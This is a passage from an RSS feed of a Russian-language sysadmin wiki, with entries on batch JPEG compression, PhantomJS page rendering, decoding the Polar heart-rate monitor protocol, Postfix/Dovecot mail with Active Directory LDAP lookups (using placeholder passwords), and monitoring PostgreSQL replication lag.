В результате файл будет оптимизирован по размеру с 50% потерей качества.&lt;br/&gt;

&lt;br/&gt;

Оптимизировать по размеру все файлы jpg  в папке можно с помощью однострочного цикла:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;for i in *.jpg; do jpegoptim -d ./compressed -p &amp;quot;$i&amp;quot; ; done&lt;/pre&gt;

&lt;p&gt;
Рекурсивно:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;find /home/valusik/Изображения/ -type f -iname *.jpg -exec jpegoptim -p --all-progressive {} +&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 29 Jul 2019 18:58:59 +0000</pubDate>
        </item>
        <item>
            <title>phantomjs</title>
            <link>https://wiki.autosys.tk/linux_faq/phantomjs</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;передача_адреса_строки_в_виде_аргумента&quot;&gt;Передача адреса строки в виде аргумента&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Передача адреса строки в виде аргумента в &lt;strong&gt;phantomjs&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;var args = require(&amp;#039;system&amp;#039;).args;
var address = &amp;#039;&amp;#039;;
args.forEach(function(arg, i) {

    if(i == 1)
    {
       address = arg;
    }

});

var page = require(&amp;#039;webpage&amp;#039;).create();    
page.open(address, function () { // &amp;lt;-- use that address variable from above
    page.render(&amp;#039;github.png&amp;#039;);
    phantom.exit();
});&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0432\u0438\u0434\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0430_\u0430\u0434\u0440\u0435\u0441\u0430_\u0441\u0442\u0440\u043e\u043a\u0438_\u0432_\u0432\u0438\u0434\u0435_\u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-512&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;получаем_отрендеренный_html&quot;&gt;Получаем отрендеренный HTML&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Получаем отрендеренный &lt;abbr title=&quot;HyperText Markup Language&quot;&gt;HTML&lt;/abbr&gt; и сохраняем в файл:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;   var page = new WebPage()
    var fs = require(&amp;#039;fs&amp;#039;);

    page.onLoadFinished = function() {
      console.log(&amp;quot;page load finished&amp;quot;);
      page.render(&amp;#039;export.png&amp;#039;);
      fs.write(&amp;#039;1.html&amp;#039;, page.content, &amp;#039;w&amp;#039;);
      phantom.exit();
    };

    page.open(&amp;quot;http://www.google.com&amp;quot;, function() {
      page.evaluate(function() {
      });
    });

    page.onLoadFinished = function() {
        console.log(&amp;quot;page load finished&amp;quot;);
        page.render(&amp;#039;export.png&amp;#039;);
        fs.write(&amp;#039;1.html&amp;#039;, page.content, &amp;#039;w&amp;#039;);
    };&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0442\u0440\u0435\u043d\u0434\u0435\u0440\u0435\u043d\u043d\u044b\u0439 HTML&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c_\u043e\u0442\u0440\u0435\u043d\u0434\u0435\u0440\u0435\u043d\u043d\u044b\u0439_html&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;513-1196&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;выводим_html_в_стандартный_поток_ввода-вывода&quot;&gt;Выводим HTML в стандартный поток ввода-вывода&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Выводим &lt;abbr title=&quot;HyperText Markup Language&quot;&gt;HTML&lt;/abbr&gt; в стандартный поток ввода-вывода:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; var page = new WebPage()
page.open(&amp;quot;http://www.google.com&amp;quot;, function() {
      page.evaluate(function() {
      });
    });

    page.onLoadFinished = function() {
      console.log(page.content);
      phantom.exit();
    };&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u044b\u0432\u043e\u0434\u0438\u043c HTML \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u044b\u0432\u043e\u0434\u0438\u043c_html_\u0432_\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439_\u043f\u043e\u0442\u043e\u043a_\u0432\u0432\u043e\u0434\u0430-\u0432\u044b\u0432\u043e\u0434\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1197-1618&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;получаем_аргумент_и_выводим_html_в_стандартный_поток_вывода&quot;&gt;Получаем аргумент и выводим HTML в стандартный поток вывода&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Получаем аргумент из командной строки и выводим &lt;abbr title=&quot;HyperText Markup Language&quot;&gt;HTML&lt;/abbr&gt; в стандартный поток вывода:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;var system = require(&amp;#039;system&amp;#039;);
var page = new WebPage();
var args = system.args;

args.forEach(function(arg, i) {
        if(i==1)
        {
        address = arg;
        }
});


page.open(address, function() {
      page.evaluate(function() {
      });
    });
    page.onLoadFinished = function() {
      console.log(page.content);
      phantom.exit();
    };
&lt;/pre&gt;

&lt;p&gt;
Запускаем так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;phantomjs ./test.js http://ya.ru&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0438 \u0432\u044b\u0432\u043e\u0434\u0438\u043c HTML \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0432\u044b\u0432\u043e\u0434\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c_\u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442_\u0438_\u0432\u044b\u0432\u043e\u0434\u0438\u043c_html_\u0432_\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439_\u043f\u043e\u0442\u043e\u043a_\u0432\u044b\u0432\u043e\u0434\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1619-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>polar-reverse-protocol</title>
            <link>https://wiki.autosys.tk/linux_faq/polar-reverse-protocol</link>
            <description>
&lt;p&gt;
 Вот тут описано что такое RR&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.physionet.org/tutorials/hrv/#inter-beat-rr-intervals&quot; class=&quot;urlextern&quot; title=&quot;http://www.physionet.org/tutorials/hrv/#inter-beat-rr-intervals&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.physionet.org/tutorials/hrv/#inter-beat-rr-intervals&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
В двух словах - это интервалы между биениями сердца. В той же статье написано как визуализировать эти данные. &lt;br/&gt;

ВОт последовательность RR. Одна единица - это 1/128 секунды.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;105
104
101
101
101
104
84
127&lt;/pre&gt;

&lt;p&gt;
А вот кусок дампа:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Timer | Flag | Count | … Ticks (counter, flag: data) …&lt;br/&gt;

 1953 | 0x00 |  1, 2 | 2FDh(765), 0x2: FDh(253) |&lt;br/&gt;

 969 | 0x01 |  1, 0 | 2D7h(727), 0x2: D7h(215) |&lt;br/&gt;

 1953 | 0x00 |  1, 1 | 2D6h(726), 0x2: D6h(214) |&lt;br/&gt;

 2906 | 0x00 |  1, 1 | 2FCh(764), 0x2: FCh(252) |&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Мне почему-то кажется, что data - это RR интервалы выраженные в 1/256 долях секунды.  &lt;br/&gt;

То есть то есть пульс тут должен быть такой - 60 / (253/256) = 60,7 bpm; 60 / (214/256) = 71 bpm;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Вот тут &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://code.google.com/p/mytracks/source/browse/MyTracks/src/com/google/android/apps/mytracks/services/sensors/PolarMessageParser.java&quot; class=&quot;urlextern&quot; title=&quot;http://code.google.com/p/mytracks/source/browse/MyTracks/src/com/google/android/apps/mytracks/services/sensors/PolarMessageParser.java&quot; rel=&quot;ugc nofollow&quot;&gt;http://code.google.com/p/mytracks/source/browse/MyTracks/src/com/google/android/apps/mytracks/services/sensors/PolarMessageParser.java&lt;/a&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Парсер данных от какого-то bluetooth устройства Polar. Есть подозрение, что структура данных может быть похожа.&lt;br/&gt;

Вот что написано в каментах:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/**
 * An implementation of a Sensor MessageParser for Polar Wearlink Bluetooth HRM.
 *
 *  Polar Bluetooth Wearlink packet example;
 *   Hdr Len Chk Seq Status HeartRate RRInterval_16-bits
 *    FE  08  F7  06   F1      48          03 64
 *   where;
 *      Hdr always = 254 (0xFE),
 *      Chk = 255 - Len
 *      Seq range 0 to 15
 *      Status = Upper nibble may be battery voltage
 *               bit 0 is Beat Detection flag.
 *              
 *  Additional packet examples;
 *    FE 08 F7 06 F1 48 03 64          
 *    FE 0A F5 06 F1 48 03 64 03 70
 *    
 * @author John R. Gerthoffer
 */
  /**
   * Applies Polar packet validation rules to buffer.
   *   Polar packets are checked for following;
   *     offset 0 = header byte, 254 (0xFE).
   *     offset 1 = packet length byte, 8, 10, 12, 14.
   *     offset 2 = check byte, 255 - packet length.
   *     offset 3 = sequence byte, range from 0 to 15.
   *    
   * @param buffer an array of bytes to parse
   * @param i buffer offset to beginning of packet.  
   * @return whether buffer has a valid packet at offset i
   */
&lt;/pre&gt;

&lt;p&gt;
ВОт лог из скайпа про Polar.&lt;br/&gt;

&lt;/p&gt;
&lt;div class=&quot;table sectionedit1&quot;&gt;&lt;table class=&quot;inline&quot;&gt;
	&lt;tr class=&quot;row0&quot;&gt;
		
	&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;2617-2620&amp;quot;} --&gt;
&lt;p&gt;
там они примерно одинаковую структуру имеют. Т.е. в виде бинарных данных там я не включал отображение, уже сразу в файлик расшифровыванные части скидывал&lt;br/&gt;

Значит,&lt;br/&gt;

1. в 8-м - там вначале идут мои пульсы на тот момент, чтобы примерно представлять, в каком диапазоне и как раскиданы данные&lt;br/&gt;

2. Поля:&lt;br/&gt;

TIMER - это не входит в пакет. Моя измерялка интервалов между пакетами.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
FLAG (FLAG RR) - первое значение в пакете. какой-то флажок&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
COUNT (RR, REAL) - кол-во тиков в пакете. RR - это из RR-пакета (соотв. RR-функция), &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
REAL - это кол-во чеготонепонятного (из другой REAL-функции. Эти 2 функции вызываются параллельно, заканчивают работать одновременно и, соотв., что-то показывают)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
TICKSRR - тики, данные в пакете. Каждый тик, предположительно, состоит из флага и данных. Каждый тик представлен: в 16-чном представлении 1) целиком, 2) флаг + данные; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
и то же самое в 10-чном представлении 1) целиком, 2) флаг + данные&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
(TIMER измеряется в ms)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
(я поменял форму отображения тиков TICKSRR в 8-м и 9-м файлика, а так по сути данные одни и те же)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Если надо, могу 1) сюда же включить и хексовое представление пакетов, 2) сделать другой вид отображения полей, 3) заменить TIMER на просто миллисекунды или убрать его &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
нафиг (по идее, полар сам меряет пульс)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
В поляровской программе ProTrainer.exe используется 2 Dll-ки: hrmcom.dll и PolarWindLink.dll (насколько я понимаю, PolarWindLink - новая библиотека нижнего уровня для &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
протокола WindLink, hrmcom.dll - старая, для вообще девайсов полара, и она делает некоторые вызовы к PolarWindLink.dll)&lt;br/&gt;

Судя по трейсам (а отладка там запрещена - защищается программа с помощью привилегий. Поэтому у меня в распоряжении есть только внедряющийся трассировщик вызовов к &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
внешним библиотекам, типа этих вот. Я, правда, не пробовал еще SoftICE. Кстати, тоже мысль!)&lt;br/&gt;

Кароче! Судя по трейсам (могу выслать, кстати, трейсы) ProTrainer.exe в Online Record-режиме обращается к обоим библиотекам.&lt;br/&gt;

1) Он делает к hrmcom.dll несколько вызовов функций, видимо, стандартных для всех пульсометров (с любыми протоколами). Среди них - _fnHRMCom_GetRealOnlineData. Данные, &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
полученные с ее помощью помечены REAL. В дампах этих данных кроме первого поля только определенное кол-во тиков. В тиках только нули и посередине есть одна и та же &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
циферка. Первое поле - Count, кол-во тиков.&lt;br/&gt;

2) Кто-то (ProTrainer.exe или, скорее, hrmcom.dll) делает запрос к PolarWindLink.dll, вызывает функцию fnOnlineCom_GetRRPacket. Данные, получаемые из нее, помечены RR. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Они разные от вызова к вызову, поэтому RR-дампы и приведены в этих файлах.&lt;br/&gt;

И вот до кучи (просто чтобы сравнить, вдруг что-то полезное делается) я воткнул в выходной файл тот REAL-Count. Но есть вероятность, что его можно просто игнорировать.&lt;br/&gt;

&lt;/p&gt;
&lt;div class=&quot;table sectionedit2&quot;&gt;&lt;table class=&quot;inline&quot;&gt;
	&lt;tr class=&quot;row0&quot;&gt;
		
	&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;table&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;table1&amp;quot;,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;7200-7203&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>postfix-dovecot-и-active-directory</title>
            <link>https://wiki.autosys.tk/linux_faq/postfix-dovecot-%D0%B8-active-directory</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;postfix_dovecot_и_active_directory&quot;&gt;postfix, dovecot и Active Directory&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Реализовать почтовик на Linux с пользователями из &lt;strong&gt;Active Directory&lt;/strong&gt; можно по-разному. Рассмотрим случай, когда почту принимает, отправляет, а так же фильтрует &lt;strong&gt;postfix&lt;/strong&gt;, а раскладывает по папкам и отдает по &lt;strong&gt;imap&lt;/strong&gt; - &lt;strong&gt;dovecot&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;postfix, dovecot \u0438 Active Directory&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;postfix_dovecot_\u0438_active_directory&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-430&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;postfix&quot;&gt;Postfix&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt;Postfix&lt;/strong&gt; фильтрует входящую почту как своими средствами (проверка на различные аспекты соответствия письма и сервера отправителя rfc), а так же прогоняет ее через &lt;strong&gt;amavisd&lt;/strong&gt;, который в свою очередь использует &lt;strong&gt;spamassassin&lt;/strong&gt; для категоризации писем на хорошие и спамные, и проверяет на вирусы.
&lt;/p&gt;

&lt;p&gt;
В этом пункте стоит обратить внимание на то, как &lt;strong&gt;postfix&lt;/strong&gt; связан c &lt;strong&gt;Active Directory&lt;/strong&gt;, и, главное, зачем.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
В нашей системе есть обычные пользователи, алиасы почтовых ящиков и списки рассылки. И всем этим добром мы командуем через оснастку управления &lt;strong&gt;Active Directory Users and computers&lt;/strong&gt;. А &lt;strong&gt;Postfix&lt;/strong&gt;, использую &lt;strong&gt;LDAP&lt;/strong&gt;, проверяет, есть ли пользователь, которому написано письмо, или же письмо надо отправить кому-то другому, на чей алиас пришло письмо, а может и вовсе это письмо адресовано целой группе юзеров?&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Заглянем в наш &lt;strong&gt;/etc/postfix/main.cf&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;virtual_mailbox_maps = ldap:/etc/postfix/ldap/local_recipients.cf
virtual_alias_maps = ldap:/etc/postfix/ldap/redirect.cf,ldap:/etc/postfix/ldap/aliases.cf,ldap:/etc/postfix/ldap/mailgroups.cf,&lt;/pre&gt;

&lt;p&gt;
 &lt;br/&gt;

В файле &lt;strong&gt;/etc/postfix/ldap/local_recipients.cf&lt;/strong&gt; &lt;strong&gt;postfix&lt;/strong&gt; смотрит, какому пользователю отправить письмо, в &lt;strong&gt;/etc/postfix/ldap/redirect.cf&lt;/strong&gt;, как можно догадаться, адрес получателя проверяется на соответствие редиректам, в &lt;strong&gt;/etc/postfix/ldap/aliases.cf&lt;/strong&gt; - алиасам, а в &lt;strong&gt;/etc/postfix/ldap/mailgroups.cf&lt;/strong&gt; спискам рассылки.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;/etc/postfix/ldap/local_recipients.cf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;debuglevel = 0
version = 3
server_host = ldap://ldap_server_ip
search_base = ou=Users,dc=domain,dc=local
query_filter = (userPrincipalName=%s)
result_attribute = sAMAccountName
result_format = %u/
bind_dn = ldap-bind@domain.local
bind_pw = p@$$word
cache = no&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;/etc/postfix/ldap/aliases.cf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;debuglevel = 0
version = 3
server_host = ldap://ldap_server_ip
search_base = ou=Users,dc=domain,dc=local
timeout = 3
query_filter = (otherMailbox=%s)
result_filter = %s
result_attribute = userPrincipalName
special_result_attribute = member
scope = sub
bind = yes
bind_dn = ldap-bind@domain.local
bind_pw = p@$$word&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;/etc/postfix/ldap/redirect.cf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mail:/etc/postfix/ldap# cat redirect.cf
debuglevel = 0
version = 3
server_host = ldap://ldap_server_ip
search_base = ou=Users,dc=domain,dc=local
timeout = 3
query_filter = (&amp;amp;(userPrincipalName=%s)(sAMAccountType=805306368))
result_filter = %s
result_attribute = mail
special_result_attribute = member
scope = sub
bind = yes
bind_dn = ldap-bind@domain.local
bind_pw = p@$$word&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;/etc/postfix/ldap/mailgroups.cf&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;debuglevel = 0
version = 3
server_host = ldap://ldap_server_ip
search_base = ou=Users,dc=domain,dc=local
timeout = 3
query_filter = (&amp;amp;(mail=%s)(sAMAccountType=268435457))
result_filter = %s
result_attribute = userPrincipalName
special_result_attribute = member
scope = sub
bind = yes
bind_dn = ldap-bind@domain.local
bind_pw = p@$$word&lt;/pre&gt;

&lt;p&gt;
Как видно, пользователей &lt;strong&gt;postfix&lt;/strong&gt; обнаруживает по заполненному атрибуту &lt;strong&gt;mail&lt;/strong&gt;, алиас по списку адресов в атрибуте &lt;strong&gt;otherMailboxes&lt;/strong&gt;, для редиректа используем &lt;strong&gt;userPrincipalName&lt;/strong&gt;, ну а список рассылки у нас не что иное, как группа распространения в &lt;strong&gt;AD&lt;/strong&gt;, а список получателей - члены данной группы.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Таким образом, если нужно изменить e-mail адрес пользователя, то изменяем его в атрибуте &lt;strong&gt;mail&lt;/strong&gt;. Если у пользователя будет несколько адресов (алиасов), то в &lt;strong&gt;otherMailboxes&lt;/strong&gt; добавляем их все (ADSIedit в помощ), а если нам нужен ящик для группы рассылки, заводим группу распространения, в атрибуте &lt;strong&gt;mail&lt;/strong&gt; для нее пишем адрес группы и включаем необходимых участников.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Postfix&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;postfix&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;431-5207&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;dovecot&quot;&gt;dovecot&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
За доставку почты в ящики  нас отвечает &lt;strong&gt;dovecot&lt;/strong&gt;.&lt;br/&gt;

В &lt;strong&gt;main.cf&lt;/strong&gt; указан транспорт&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;virtual_transport = dovecot&lt;/pre&gt;

&lt;p&gt;
И описываем этот транспорт в &lt;strong&gt;master.cf&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dovecot unix - n n - - pipe flags=DRhu user=vmail:vmail argv=/usr/lib/dovecot/deliver -d ${mailbox}&lt;/pre&gt;

&lt;p&gt;
Так как пользователи у нас виртуальный, то фактически почта складывается в ящики от имени пользователя &lt;strong&gt;vmail&lt;/strong&gt;.&lt;br/&gt;

Куда же падают наши письма? Смотрим в конфиг &lt;strong&gt;dovecot&lt;/strong&gt; (у меня он тут - &lt;strong&gt;/etc/dovecot/dovecot.conf&lt;/strong&gt;):&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mail_location = maildir:/home/DOMAIN.RU/%Lu/Maildir&lt;/pre&gt;

&lt;p&gt;
где &lt;strong&gt;%Lu&lt;/strong&gt; тут - имя пользователя.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Почта в ящике! Осталось ее забрать &lt;img src=&quot;https://wiki.autosys.tk/lib/images/smileys/smile.svg&quot; class=&quot;icon smiley&quot; alt=&quot;:-)&quot; /&gt;&lt;br/&gt;

Править конфиг по-умолчанию практически не приходится. Существенный момент - позаботимся об авторизации. Будем использовать запросы к &lt;strong&gt;LDAP&lt;/strong&gt;. В разделе &lt;strong&gt;auth default&lt;/strong&gt; (все в том же &lt;strong&gt;dovecot.conf&lt;/strong&gt;) добавим:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;passdb ldap { args = /etc/dovecot/dovecot-ldap.conf }&lt;/pre&gt;

&lt;p&gt;
И сам &lt;strong&gt;dovecot-ldap.conf&lt;/strong&gt; (напоминает нам конфиги &lt;strong&gt;postfix&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;hosts = ldap-server-ip:3268 //наш LDAP-сервер
dn = CN=ldap-user,OU=some_ou,DC=domain,DC=local //путь к учеткам в AD
dnpass = P@$$word
auth_bind = yes
ldap_version = 3
base = dc=domain,dc=ru
deref = searching
scope = subtree
user_filter = (&amp;amp;(ObjectClass=person)(sAMAccountName=%u))
pass_filter = (&amp;amp;(ObjectClass=person)(sAMAccountName=%u))&lt;/pre&gt;

&lt;p&gt;
Таким образом, &lt;strong&gt;dovecot&lt;/strong&gt; складывает почту по папкам виртуальных пользователей и авторизует в &lt;strong&gt;LDAP&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
Немного более подробно я описал настроку почтовика на примере &lt;strong&gt;iRedMail&lt;/strong&gt;: &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/redmail_install_and_ad_config&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:redmail_install_and_ad_config&quot; data-wiki-id=&quot;linux_faq:redmail_install_and_ad_config&quot;&gt;Установка iRedMail на Ubuntu 14.04-minimal&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;dovecot&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;dovecot&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;5208-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>postgres_logical_replication_monitoring</title>
            <link>https://wiki.autosys.tk/linux_faq/postgres_logical_replication_monitoring</link>
            <description>
&lt;p&gt;
При использовании логической репликации важно следить за ее состоянием и не допускать сущестенного отставания. &lt;br/&gt;

Для мониторинга логической репликации на стороне издателя в общем случае - запрос такой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SELECT slot_name FROM pg_replication_slots INNER JOIN pg_current_wal_lsn() ON confirmed_flush_lsn &amp;lt; pg_current_wal_lsn;&lt;/pre&gt;

&lt;p&gt;
И можно
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;SELECT slot_name FROM pg_replication_slots INNER JOIN pg_current_wal_lsn() ON confirmed_flush_lsn &amp;lt; (pg_current_wal_lsn - 4096);&lt;/pre&gt;

&lt;p&gt;
&lt;strong&gt;(pg_current_wal_lsn - 4096)&lt;/strong&gt;, чтобы допускать некоторый лаг и ложно не срабатывать на незначительные отставания (в данном случае - в 4 килобайта, если я все правильно понял). &lt;br/&gt;

Запрос возвращает список имен отстающих слотов репликации на издателе (которые соответствуют именам подписок на подписчике). &lt;br/&gt;

Также обязательно мониторить свободное место на издателе, поскольку если оно заканчивается - то дальше запускать &lt;strong&gt;postgres&lt;/strong&gt; нем можно только с толкача - то есть подцеплять дополнительный диск, переносить на него директорию &lt;strong&gt;/var/lib/pgsql/14/data/pg_wal&lt;/strong&gt; и делать симлинк на нее в директорию &lt;strong&gt;/var/lib/pgsql/14/data/&lt;/strong&gt;. &lt;br/&gt;

Просто удалить директорию &lt;strong&gt;pg_wal&lt;/strong&gt; - нельзя
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 19 Apr 2023 09:23:54 +0000</pubDate>
        </item>
        <item>
            <title>pptp_vpn_server_in_lxc-lxd_container_on_ubutnu_18.04_host</title>
            <link>https://wiki.autosys.tk/linux_faq/pptp_vpn_server_in_lxc-lxd_container_on_ubutnu_18.04_host</link>
            <description>
&lt;p&gt;
